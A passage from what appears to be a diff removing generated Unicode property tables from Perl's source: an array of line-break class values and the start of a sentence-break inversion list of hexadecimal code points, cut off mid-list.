LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_Alphabetic, - LB_JV, - LB_Alphabetic, - LB_JT, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Combining_Mark, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Infix_Numeric, - LB_Close_Punctuation, - LB_Infix_Numeric, - LB_Exclamation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Inseparable, - LB_Alphabetic, - LB_Combining_Mark, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Nonstarter, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Alphabetic, - LB_Word_Joiner, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Exclamation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Ideographic, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Ideographic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Contingent_Break, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Inseparable, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Regional_Indicator, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Modifier, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Nonstarter, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_SB_invlist[] = { /* for ASCII/Latin1 */ - 3002, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0xB, - 0xD, - 0xE, - 0x20, - 0x21, - 0x22, - 0x23, - 0x27, - 0x2A, - 0x2C, - 0x2E, - 0x2F, - 0x30, - 0x3A, - 0x3B, - 0x3F, - 0x40, - 0x41, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x61, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0x85, - 0x86, - 0xA0, - 0xA1, - 0xAA, - 0xAB, - 0xAC, - 0xAD, - 0xAE, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xBC, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0xF7, - 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BC, - 0x1BD, - 0x1C0, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x483, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x55D, - 0x55E, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F4, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61F, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x703, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 